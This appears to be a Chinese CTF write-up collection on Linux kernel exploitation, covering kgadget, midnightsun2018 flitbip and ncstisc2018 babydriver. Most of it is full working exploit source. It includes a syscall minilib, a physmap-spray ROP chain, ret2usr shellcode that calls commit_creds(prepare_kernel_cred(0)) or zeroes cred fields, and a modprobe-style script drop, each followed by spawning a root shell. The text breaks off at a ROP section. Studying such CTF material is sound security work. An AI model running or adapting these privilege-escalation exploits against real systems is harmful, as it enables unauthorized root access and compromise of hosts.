        "mov rax, 0x10;"
        "syscall;"
        );


}

extern void _start(){
    size_t env[0];
    environ = &env[4];
    doMain();
    syscall64(60,0);
}


  • Makefile
1
2
3
4
5
6
7
CC = gcc
CFLAGS = -nostdlib -ffunction-sections -fdata-sections -Wl,--gc-sections -fpie -static -ffreestanding -std=c++2a -mno-sse -mno-mmx -mno-avx -masm=intel

exploit: exp.c
	$(CC) $(CFLAGS) $< -o $@


  • minilib.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
#include <stddef.h>
#include <stdint.h>

#define O_RDONLY    0   /* Open read-only.  */
#define O_WRONLY    1   /* Open write-only.  */
#define O_RDWR      2   /* Open read/write.  */
#define O_CREAT     0x40/* New File. */

#define PROT_NONE      0
#define PROT_READ      1
#define PROT_WRITE     2
#define PROT_EXEC      4
#define PROT_GROWSDOWN 0x01000000
#define PROT_GROWSUP   0x02000000

#define MAP_ANONYMOUS	0x20
#define MAP_SHARED	0x01		/* Share changes.  */
#define MAP_PRIVATE	0x02		/* Changes are private.  */

size_t environ;

// bind_core
#define MAX_CPUS 1024
typedef struct { unsigned long bits[MAX_CPUS / (8 * sizeof(unsigned long))]; } cpu_set_t;
static void CPU_ZERO(cpu_set_t *set) { for (int i = 0; i < MAX_CPUS / (8 * sizeof(unsigned long)); i++) { set->bits[i] = 0; } }
static void CPU_SET(int core, cpu_set_t *set) {
    int idx = core / (8 * sizeof(unsigned long));
    int offset = core % (8 * sizeof(unsigned long));
    set->bits[idx] |= (1UL << offset);
}

int syscall64(){
    asm volatile (
        "mov rax, rdi;"
        "mov rdi, rsi;"
        "mov rsi, rdx;"
        "mov rdx, rcx;"
        "mov r10, r8 ;"
        "mov r8 , r9 ;"
        "mov r9 , [rsp + 8];"
        "syscall;"
    );
}

size_t mmap(){
    // size_t addr, size_t len, size_t prot, size_t flags, int fd, size_t offset
    asm volatile (
        "mov rax, 0x9;"
        "mov r10, rcx;"
        "syscall;"
    );
}

//void *mmap(void *addr, size_t length, int prot, int flags, int fd, long int offset) {
//    return (void *)syscall64(9, addr, length, prot, flags, fd, offset);
//}
int open(char *file,int prot){
    return syscall64(2, file, prot);
}
int read(int fd, char *buf, int length){
    return syscall64(0, fd, buf, length);
}
int write(int fd, char *buf, int length){
    return syscall64(1, fd, buf, length);
}
int ioctl(int fd, size_t cmd, char *buf){
    return syscall64(0x10, fd, cmd, buf);
}
size_t execve(char *cmd, size_t* args, char *environ){
    return syscall64(0x3b, cmd, args, environ);
}
int sendfile(size_t dst_fd, size_t src_fd, size_t offset, size_t count){
    syscall64(0x28, dst_fd, src_fd, offset, count);
}
int chmod(char *file,int mode){ return syscall64(0x5a, file, mode, 0);
}
int fork(){return syscall64(57, 0, 0, 0);}
static size_t getuid(){return syscall64(0x66, 0, 0, 0);}
static size_t getpid(){return syscall64(0x27, 0, 0, 0);}

static int sched_setaffinity(size_t pid, size_t cpusetsize, const cpu_set_t *cupset){
    return syscall64(0xcb, pid, cpusetsize, cupset);
}
static void bind_core(int core){
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
static void system(char *command){
    int pid = fork();
    if(pid>0){
        char *argv[] = {"sh", "-c", command, NULL, NULL};
        execve("/bin/sh", argv, environ);
    }
}

void puts(char * Str){
    int length=0;
    while(Str[length]!=0){++length;}
    write(1,Str,length);
    write(1,"\n",1);
}

void hex(size_t IntHex){
    char buf[0x20]={0};
    size_t idx = 0x18;
    while (idx > 1) {
        buf[idx] = "0123456789ABCDEF"[IntHex & 0xF];
        IntHex >>= 4;
        if(IntHex==0){
            buf[idx-2]='0';
            buf[idx-1]='x';
            break;
        }
        idx--;
    }
    puts(&buf[idx]-2);
}

void lss(char * Str, size_t IntHex){
    int length=0;
    while(Str[length]!=0){++length;}
    write(1,Str,length);
    write(1,"\t = ",3);
    hex(IntHex);
}

void hex_num(size_t IntHex,size_t idx){
    char buf[0x20]={0};
    while (idx > 0) {
        buf[idx] = "0123456789ABCDEF"[IntHex & 0xF];
        IntHex >>= 4;
        idx--;
    }
    write(1,&buf,0x18);
}

uint64_t byte_to_long(char *b, size_t byte_len) {
    uint64_t value = 0;
    size_t i;
    if (byte_len > sizeof(uint64_t)) {
        byte_len = sizeof(uint64_t);
    }
    for (i = 0; i < byte_len; i++) {
        value <<= 8;
        value |= (uint8_t)b[byte_len - 1 - i];
    }
    return value;
}


// strings.h
void strncpy(char dst[], char src[], size_t n){
    size_t i;
    for(i = 0; i < n ; i++){
        dst[i] = src[i];
    }
    dst[i] = '\x00';
}

void *strcat(char * dest, const char * src){
    char *tmp = dest;
    while (*dest)
        dest++;
    while ((*dest++ = *src++) != '\0')
        ;
    return tmp;
}

void * malloc(size_t size){
    return mmap(0, 0x1000, 3, 33, -1, 0);
}

void memset(void *s, int c, size_t n){
    char *xs = s;
    while (n--)
        *xs++ = c;
    return s;
}
char * repeat(char *ptr, char c,size_t n){
    memset(ptr, c, n);
    return ptr;
}

void hexdump(unsigned char *text, size_t size){
    const size_t row_size = 16;
    int i,j;
    for (i = 0; i < size; i += row_size) {
        hex_num(i,8);
        write(1,"  ", 2);

        for (j = 0; j < row_size && i + j < size; j++) {
                hex_num((unsigned char)text[i + j], 2);
                write(1," ", 1);
        }

        for (; j < row_size; j++) {
            write(1,"   ",3);
        }

        write(1,"  |",3);

        for (j = 0; j < row_size && i + j < size; j++) {
            if ((text[i + j]) >= 32 && text[i+j] <127) {
                write(1, &text[i+j], 1);
            } else {
                write(1, ".", 1);
            }
        }
        write(1,"|",1);

        write(1,"\n", 1);
    }
}


exploit

image

image

  • prepare_kernel_cred

image

  • swapgs_restore_regs_and_return_to_usermode

image

  • 提权

image

  • exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#include "minilib.h"

char flag[0x50] = {0};

int fd;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

static void get_root_shell(){
    int uid = getuid();
    hex(uid);
    system("/bin/sh");
    //chmod("/flag",0777);
    syscall64(60,0);
}
static size_t shell_addr = &get_root_shell;

static void shellcode(){
    asm volatile (
        "xor rdi, rdi;"
        "mov rcx, prepare_kernel_cred;"
        "call rcx;"
        "mov rcx, commit_creds;"
        "call rcx;"
        // swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
    );
    // restore_flags
    asm volatile (
        "nop;"
        "nop;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push shell_addr;"
        "swapgs;"
        "iretq;"
    );
}size_t sc_addr = &shellcode + 8;

void modprobe_rce(){
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/e1");
    system("chmod +x /tmp/e1");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/e2");
    system("chmod +x /tmp/e2");
    system("/tmp/e2");      // sh: /tmp/e2: Permission denied
    system("/tmp/e2");      // ./tmp/e2: line 1: : not found
    system("cat /flag");
    system("cat /flag");
}


size_t pop_rsp_ret  = 0xffffffff811483d0;
size_t add_rsp_0xC0 = 0xffffffff81488561; // cat gadget.txt |grep "add rsp, 0xa8", pop x N;ret
size_t pop_rdi = 0xffffffff8108c6f0;
size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t commit_creds = 0xffffffff810c92e0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
void physmap_spary()
{
        int i = 0, j = 0;
        size_t* rop;
        for (i = 0; i < 15000; i++)
        {
                rop = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
                int j = 0;
                rop[j++] = add_rsp_0xC0;
                rop[j++] = pop_rdi;
                rop[j++] = 0;
                rop[j++] = prepare_kernel_cred;
                //rop[j++] = mov_rdi_rax; prepare_kernel_cred  ret 后 rax 和 rdi 是一样的所以没必要 mov 了
                rop[j++] = commit_creds;
                rop[j++] = swapgs_restore_regs_and_return_to_usermode;
                rop[j++] = 0;
                rop[j++] = 0;
                rop[j++] = shell_addr;
                rop[j++] = user_cs;
                rop[j++] = user_rflags;
                rop[j++] = user_sp;
                rop[j++] = user_ss;
        }
}


void doMain(){
    save_status();
    char procn[0x30] = "/dev/kgadget";
    fd = open(procn,2);

    physmap_spary(); 
    __asm__(
        "mov r15, 0x1111;"
        "mov r14, 0x2222;"
        "mov r13, 0x3333;"
        "mov r12, 0x4444;"
        "mov r11, 0x5555;"
        "mov r10, 0x6666;"
        "mov r9,  pop_rsp_ret;"
        "mov r8,  0xffff888000000000 + 0x6000000 + 8;"
        "mov rcx, 0x9999;"
        "mov rbx, 0xaaaa;"
        "mov rdx, 0xffff888000000000+0x6000000;"
        "mov rsi, 0x1BF52;"
        "mov rdi, fd;"
        "mov rax, 0x10;"
        "syscall;"
        );


}

extern void _start(){
    size_t env[0];
    environ = &env[4];
    doMain();
    syscall64(60,0);
}





midnightsun2018-flitbip(白给的漏洞)

题目分析

init 关闭了地址随机化

1
2
3
4
5
6
7
8
9
#!/bin/bash
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd ./initrd \
    -nographic \
    -monitor /dev/null \
    -append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null

添加了新的 syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>

#define MAXFLIT 1

#ifndef __NR_FLITBIP
#define FLITBIP 333
#endif

long flit_count = 0;
EXPORT_SYMBOL(flit_count);

SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
{
        if (flit_count >= MAXFLIT)
        {
                printk(KERN_INFO "flitbip: sorry :/\n");
                return -EPERM;
        }

        *addr ^= (1ULL << (bit));
        flit_count++;

        return 0;
}

表面上看这个syscall 只能用一次, 由于 flit_count 是一个 有符号数,如果 flit_count​ 是一个负数 也会符合小于0的条件从而绕过“只能使用一次的限制”,关闭了地址刷 kaslrflit_count​ 地址就是已知的了,所以说第一次修改 flit_count​ 为一个负数即可多次使用 FLITBIP

漏洞利用过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int flitbip(size_t addr,int bit){
    syscall64(333, addr, bit);
}

void doMain(){

    size_t test_addr = 0xffffffff818f4f70;
    size_t flit_count = 0xffffffff818f4f78;
    flitbip(flit_count , 63);
    // >>> hex(1 << 63)
    // 0x8000000000000000

    for(int i=0;i<0x40;i++){
        flitbip(test_addr,i);
    }

image

没有 /sbin/modprobe

image

劫持 fops

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static struct tty_ldisc_ops n_tty_ops = {
	.magic           = TTY_LDISC_MAGIC,
	.name            = "n_tty",
	.open            = n_tty_open,
	.close           = n_tty_close,
	.flush_buffer    = n_tty_flush_buffer,
	.read            = n_tty_read,
	.write           = n_tty_write,
	.ioctl           = n_tty_ioctl,
	.set_termios     = n_tty_set_termios,
	.poll            = n_tty_poll,
	.receive_buf     = n_tty_receive_buf,
	.write_wakeup    = n_tty_write_wakeup,
	.receive_buf2	 = n_tty_receive_buf2,
};
# 初期化
static int __init pps_tty_init(void)
{
	int err;

	/* Inherit the N_TTY's ops */
	n_tty_inherit_ops(&pps_ldisc_ops);
(snipped)

跟一下

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
*RAX  0xffffffffffffffff
*RBX  0xffffc9000007ff58 ◂— 0
*RCX  0
*RDX  0
 RDI  0
*RSI  0xffffc9000007ff58 ◂— 0
 R8   0
*R9   0
 R10  0
*R11  0
 R12  0
 R13  0
 R14  0
 R15  0
*RBP  0
*RSP  0xffffc9000007ff40 ◂— 0
*RIP  0xffffffff81000be5 (do_syscall_64+105) ◂— mov rax, qword ptr [rdi*8 - 0x7e9ffee0]
───────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────
   0xffffffff81000bcf <do_syscall_64+83>     cmp    rdi, 0x223
   0xffffffff81000bd6 <do_syscall_64+90>     ja     0xffffffff81000bf9          <do_syscall_64+125>
 
   0xffffffff81000bd8 <do_syscall_64+92>     cmp    rdi, 0x224
   0xffffffff81000bdf <do_syscall_64+99>     sbb    rax, rax
   0xffffffff81000be2 <do_syscall_64+102>    and    rdi, rax
  0xffffffff81000be5 <do_syscall_64+105>    mov    rax, qword ptr [rdi*8 - 0x7e9ffee0]     RAX, [sys_call_table] => 0xffffffff8107b71c (__x64_sys_read) ◂— mov rdx, qword ptr [rdi + 0x60]
   0xffffffff81000bed <do_syscall_64+113>    mov    rdi, rbx
   0xffffffff81000bf0 <do_syscall_64+116>    call   0xffffffff81402000
  • 直接 read 的表是只读的,改不了,可以继续跟踪,

image

image

  • 执行到 tty_read​ 就可以看到 有一个 n_tty_ops​ 是一个RW 的权限,
1
2
3
4
5
6
7
8
9
10
11
12
entry_SYSCALL_64
entry_SYSCALL_64_after_hwframe
do_syscall_64
__x86_indirect_thunk_rax
__x64_sys_read
ksys_read
vfs_read
__vfs_read
__x86_indirect_thunk_r8
tty_read+129 // 可以在这里断点调试
__x86_indirect_thunk_rax
n_tty_read

image

image

image

  • 尝试修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void doMain(){

    size_t test_addr = 0xffffffff818f4f70;
    size_t flit_count = 0xffffffff818f4f78;

    flitbip(flit_count , 63);

    // for(int i=0;i<0x40;i++){
    //     flitbip(test_addr,i);
    // }
    // >>> hex(1 << 63)
    // 0x8000000000000000
    size_t n_tty_ops = 0xffffffff8183e320;
    size_t n_tty_read_got = n_tty_ops + 0x30;

    size_t n_tty_read = 0xffffffff810c8510;

    size_t target = 0x4142434445464748;

    size_t x = 0;
    size_t y = 0;
    for(int i=0;i<0x40;i++){
        x = (n_tty_read >> i) & 1;
        y = (target >> i) & 1;
        if(x != y){
            flitbip(n_tty_read_got, i);
        }
    }
}

imageimage

exploit1.c

SMEP 已被禁用 , 内核态可以执行用户态的text 段, ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include "minilib.h"


char flag[0x50] = {0};
int fd;

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(){
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}




// #define MAXFLIT 1
// 
// #ifndef __NR_FLITBIP
// #define FLITBIP 333
// #endif
// 
// long flit_count = 0;
// EXPORT_SYMBOL(flit_count);
// 
// SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
// {
//         if (flit_count >= MAXFLIT)
//         {
//                 printk(KERN_INFO "flitbip: sorry :/\n");
//                 return -EPERM;
//         }
// 
//         *addr ^= (1ULL << (bit));
//         flit_count++;
// 
//         return 0;
// }

int flitbip(size_t addr,int bit){
    syscall64(333, addr, bit);
}
size_t test_addr = 0xffffffff818f4f70;
size_t flit_count = 0xffffffff818f4f78;

size_t n_tty_ops = 0xffffffff8183e320;

size_t n_tty_read = 0xffffffff810c8510;

size_t target = 0x4142434445464748;


//typedef void (*run_cmd_t)(char * buf);
typedef size_t (*run_cmd_t)(size_t a1);

static void shellcode(){

    // 恢复 n_ttu_ops 
    size_t n_tty_read_got = n_tty_ops + 0x30;
    ((size_t*)n_tty_read_got)[0] = n_tty_read;

    run_cmd_t prepare_kernel_cred = (run_cmd_t)0xffffffff81033e92;
    run_cmd_t commit_creds = (run_cmd_t)0xffffffff81033d41;
    commit_creds(prepare_kernel_cred(0));


    // 貌似没有执行命令
    // run_cmd_t run_cmd = (run_cmd_t)0xffffffff81033f38;
    // run_cmd("id > /home/flitbip/id");
    asm volatile ("ret;");
  
}

size_t sc_addr = (size_t)&shellcode + 0xC;

void doMain(){

    size_t test_addr = 0xffffffff818f4f70;
    size_t flit_count = 0xffffffff818f4f78;

    flitbip(flit_count , 63);

    // for(int i=0;i<0x40;i++){
    //     flitbip(test_addr,i);
    // }
    // >>> hex(1 << 63)
    // 0x8000000000000000
    size_t n_tty_read_got = n_tty_ops + 0x30;

    size_t x = 0;
    size_t y = 0;
    for(int i=0;i<0x40;i++){
        x = (n_tty_read >> i) & 1;
        y = (sc_addr >> i) & 1;
        if(x != y){
            flitbip(n_tty_read_got, i);
        }
    }


    char buf[0x100] = {0};
    repeat(buf, 'A', 0x80);

    read(0, buf, 0x100);

    system("/bin/sh");
}

extern void _start(){
    size_t env[0];
    environ = (size_t)&env[4];
    doMain();
    syscall64(60,0);
}




exploit2.c

再来分析一下 这个

image

1
2
pwndbg> telescope 0xffffffff8182e040
00:0000  0xffffffff8182e040 (current_task) —▸ 0xffff88000230c000

image

cred 结构体

image

0x3e8 就是 1000 权限uid, 全部改成0 就是 root 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#include "minilib.h"


char flag[0x50] = {0};
int fd;

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(){
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}




// #define MAXFLIT 1
// 
// #ifndef __NR_FLITBIP
// #define FLITBIP 333
// #endif
// 
// long flit_count = 0;
// EXPORT_SYMBOL(flit_count);
// 
// SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
// {
//         if (flit_count >= MAXFLIT)
//         {
//                 printk(KERN_INFO "flitbip: sorry :/\n");
//                 return -EPERM;
//         }
// 
//         *addr ^= (1ULL << (bit));
//         flit_count++;
// 
//         return 0;
// }

int flitbip(size_t addr,int bit){
    syscall64(333, addr, bit);
}
size_t test_addr = 0xffffffff818f4f70;
size_t flit_count = 0xffffffff818f4f78;

size_t n_tty_ops = 0xffffffff8183e320;

size_t n_tty_read = 0xffffffff810c8510;

size_t target = 0x4142434445464748;


//typedef void (*run_cmd_t)(char * buf);
typedef size_t (*run_cmd_t)(size_t a1);

static void shellcode(){

    // 恢复 n_ttu_ops 
    size_t n_tty_read_got = n_tty_ops + 0x30;
    ((size_t*)n_tty_read_got)[0] = n_tty_read;

    asm volatile(
        "nop;"
        "nop;"
        "nop;"
        "nop;"
        "nop;"
        "nop;"
        "nop;"
        "nop;"
        "nop;"
        "nop;"
        "nop;"
        "nop;"
        "mov rax, 0xffffffff8182e040;"
        "mov rax,[rax];"
        "add rax,0x3c0;"
        "mov rax,[rax];"

        "xor rdi,rdi;"

        "add rax, 4;"
        "mov [rax], rdi;"

        "add rax, 8;"
        "mov [rax], rdi;"

        "add rax, 8;"
        "mov [rax], rdi;"

        "add rax, 8;"
        "mov [rax], rdi;"

        "ret;"
    );

    // 貌似没有执行命令
    // run_cmd_t run_cmd = (run_cmd_t)0xffffffff81033f38;
    // run_cmd("id > /home/flitbip/id");
  
}

size_t sc_addr = (size_t)&shellcode + 0x8;

void doMain(){

    size_t test_addr = 0xffffffff818f4f70;
    size_t flit_count = 0xffffffff818f4f78;

    flitbip(flit_count , 63);

    // for(int i=0;i<0x40;i++){
    //     flitbip(test_addr,i);
    // }
    // >>> hex(1 << 63)
    // 0x8000000000000000
    size_t n_tty_read_got = n_tty_ops + 0x30;

    size_t target = n_tty_read ^ sc_addr;

    for(int i=0;i<0x40;i++){
        if((target>>i)&1){
            flitbip(n_tty_read_got, i);
        }
    }


    char buf[0x100] = {0};
    repeat(buf, 'A', 0x80);

    read(0, buf, 0x100);

    system("/bin/sh");
}

extern void _start(){
    size_t env[0];
    environ = (size_t)&env[4];
    doMain();
    syscall64(60,0);
}





image

参考

1
https://blog.smallkirby.com/posts/flitbip/

ncstisc2018-babydriver(UAF)

题目分析

init 文件, 加载了一个ko内核驱动模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

  • 启动参数 SMEP 已启用、SMAP 已禁用、oops->panic、KASLR 已启用
1
2
3
4
5
qemu-system-x86_64 -initrd rootfs.cpio -s \
    -kernel bzImage \
    -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
    -enable-kvm -monitor /dev/null -m 64M \
    --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep
  1. qemu-system-x86_64

    • 启动 QEMU 进行 x86_64 架构的虚拟化。qemu-system-x86_64​ 是 QEMU 提供的一个可执行文件,用于模拟 x86_64 架构的系统。
  2. -initrd rootfs.cpio

    • 指定初始 RAM 文件系统(initrd)的路径。这里使用了 rootfs.cpio​ 作为 initrd​。initrd​ 是一个临时的根文件系统,通常用于在启动过程中提供必需的工具和驱动程序。它通常会在内核启动时被加载。
  3. -s

    • 启用 GDB 调试服务器,并在默认的端口 1234​ 上监听连接。使用此参数后,你可以使用 GDB 连接到 QEMU 进行调试。
  4. -kernel bzImage

    • 指定内核映像的路径。这里使用了 bzImage​,它是编译过的 Linux 内核镜像文件。bzImage​ 是一种压缩过的内核镜像格式,通常用于启动 Linux 系统。
  5. -append 'console=ttyS0 root=/dev/ram nokaslr oops=panic panic=1'

    • 启动内核时传递给内核的参数。各个参数的作用如下:

      • console=ttyS0​:将内核的控制台输出重定向到 ttyS0​(即串行端口 0)。这允许通过串行终端看到内核启动日志和调试信息。
      • root=/dev/ram​:指定根文件系统的位置为 /dev/ram​,通常与内存文件系统一起使用,这意味着内核将从 RAM 中加载根文件系统,而不是从硬盘中读取。
      • nokaslr​:禁用地址空间布局随机化(ASLR)。ASLR 会随机化内核地址,这对于调试和一些类型的漏洞利用是不方便的,因此在调试时通常会禁用它。
      • oops=panic​:当内核发生 Oops 错误(一般指内核级的崩溃)时,触发 panic。默认行为是继续运行,但此设置将导致系统在遇到 Oops 错误时立即崩溃。
      • panic=1​:内核在 panic 时会立即重启。这里设置为 1,意味着内核发生 panic 后立即重启。
  6. -enable-kvm

    • 启用 KVM(Kernel-based Virtual Machine)。这使得 QEMU 使用硬件加速(如果硬件支持)来提高虚拟化性能。启用 KVM 可以显著提高模拟器的性能,尤其是在支持硬件虚拟化的处理器上。
  7. -monitor /dev/null

    • 禁用 QEMU 的监控控制台。通常情况下,QEMU 提供一个监控界面,允许你通过命令控制虚拟机的行为。使用 /dev/null​ 作为目标会使得该接口不输出任何内容,从而禁用监控。
  8. -m 64M

    • 指定虚拟机的内存大小为 64MB。你可以根据需要调整内存的大小,尤其是在资源受限的环境中运行 QEMU 时,减少内存消耗可能是有意义的。
  9. --nographic

    • 禁用 QEMU 的图形输出,改为使用控制台输出。通常,在没有图形用户界面的环境中使用 --nographic​ 来使得 QEMU 在终端模式下运行,这样可以通过串行终端或标准输出查看虚拟机的输出。
  10. -smp cores=1,threads=1

    • 设置虚拟机的 CPU 配置:

      • cores=1​:虚拟机有一个 CPU 核心。
      • threads=1​:每个核心只有一个线程。这意味着虚拟机只有一个 CPU 核心,没有启用超线程。
    • 你可以根据需要修改为更多的核心和线程。

  11. -cpu kvm64,+smep

    • 设置虚拟机的 CPU 类型和特性:

      • kvm64​:指定虚拟机使用的 CPU 模型为 kvm64​,这是 QEMU 中为 KVM 虚拟化提供的默认 CPU 模型。
      • +smep​:启用 SMEP(Supervisor Mode Execution Prevention)。SMEP 是一种硬件级别的安全机制,防止在内核模式下执行用户空间的代码。启用 SMEP 提高了虚拟机的安全性。

ko模块分析, 四个功能 openioctlwriteread​, 还有一个 babyrelease

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
__int64 babyopen()
{
  babydev_struct = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
  G_size = 64LL;
  printk("device open\n");
  return 0LL;
}

__int64 __fastcall babyrelease()
{
  kfree(babydev_struct);
  printk("device release\n");
  return 0LL;
}

__int64 babyioctl(size_t fd, unsigned int cmd, size_t size)
{
  if ( cmd == 0x10001 )
  {
    kfree(babydev_struct);
    babydev_struct = _kmalloc(size, 37748928LL);
    G_size = size;
    printk("alloc done\n");
    return 0LL;
  }
  else
  {
    printk(&unk_2EB);
    return -22LL;
  }
}

ssize_t babywrite(size_t *file, char *user_buffer, size_t length, size_t *offset)
{
  ssize_t result; // rax

  if ( !babydev_struct )
    return -1LL;
  result = -2LL;
  if ( G_size > length )
  {
    copy_from_user(babydev_struct, user_buffer, length);
    return length;
  }
  return result;
}


ssize_t babyread(size_t *file, char *user_buffer, size_t length, size_t *offset)
{
  ssize_t result; // rax

  if ( !babydev_struct )
    return -1LL;
  result = -2LL;
  if ( G_size > length )
  {
    copy_to_user(user_buffer, babydev_struct, length);
    return length;
  }
  return result;
}

从上面的代码可以分析出一个UAF 漏洞, 可以同时打开两次,close fd1 一个后 会 free 堆块,没有清空指针,然后还剩一个fd2 可以继续对堆块进行操作

出了点小问题

无论是 有 还是没有 nokaslr​ kernel地址都没有变化,

  • 感觉环境有点问题,所以说我用 linux 6.11 重新编译了一个ko

stat文件 泄露地址原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void doMain(){

    bind_core(0);
    size_t *ptr1 = (size_t*)malloc(0x1000);

    fd = odp(vuln_ko);
    fd1 = odp(vuln_ko);

    lss("fd = ",(size_t)fd);

    ioctl(fd1, 0x10001 ,(char *)0x20); // kmalloc 0x20 UAF, 

    close(fd1);
    int statfd = open("/proc/self/stat", O_RDONLY); // 也会申请 0x20
    show((char *)ptr1, 0x10);
    hexdump((char *)ptr1, 0x100);
}

image

  • 调用链
1
2
3
4
5
6
7
8
9
10
11
12
entry_SYSCALL_64
do_syscall_64
x64_sys_call
__x64_sys_open
do_sys_openat2
do_filp_open
path_openat 
vfs_open 
do_dentry_open+508
__x86_indirect_thunk_array+416
proc_single_open
single_open

image

然后也是申请到 了

imageimage

image

UAF stat hijack

image

修改 这个 single_start

image

调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
read(statfd, (char *)nbuf, 0x11);
entry_SYSCALL_64
do_syscall_64
x64_sys_call
__x64_sys_read
ksys_read
vfs_read
__x86_indirect_thunk_array
		 0xffffffff81f8f626 <__x86_indirect_thunk_array+6>     mov    qword ptr [rsp], rax        [0xffffc900001cfe60] <= 0xffffffff812d3f80 (seq_read) ◂— endbr64 
   		0xffffffff81f8f62a <__x86_indirect_thunk_array+10>    ret
seq_read
seq_read_iter
seq_read_iter+226
__x86_indirect_thunk_array

imageimage

image

gadget-ROP

由于这题只开启了 SMEP 并没有开启 SMAP,所以说 可以找个控制 rsp 的

1
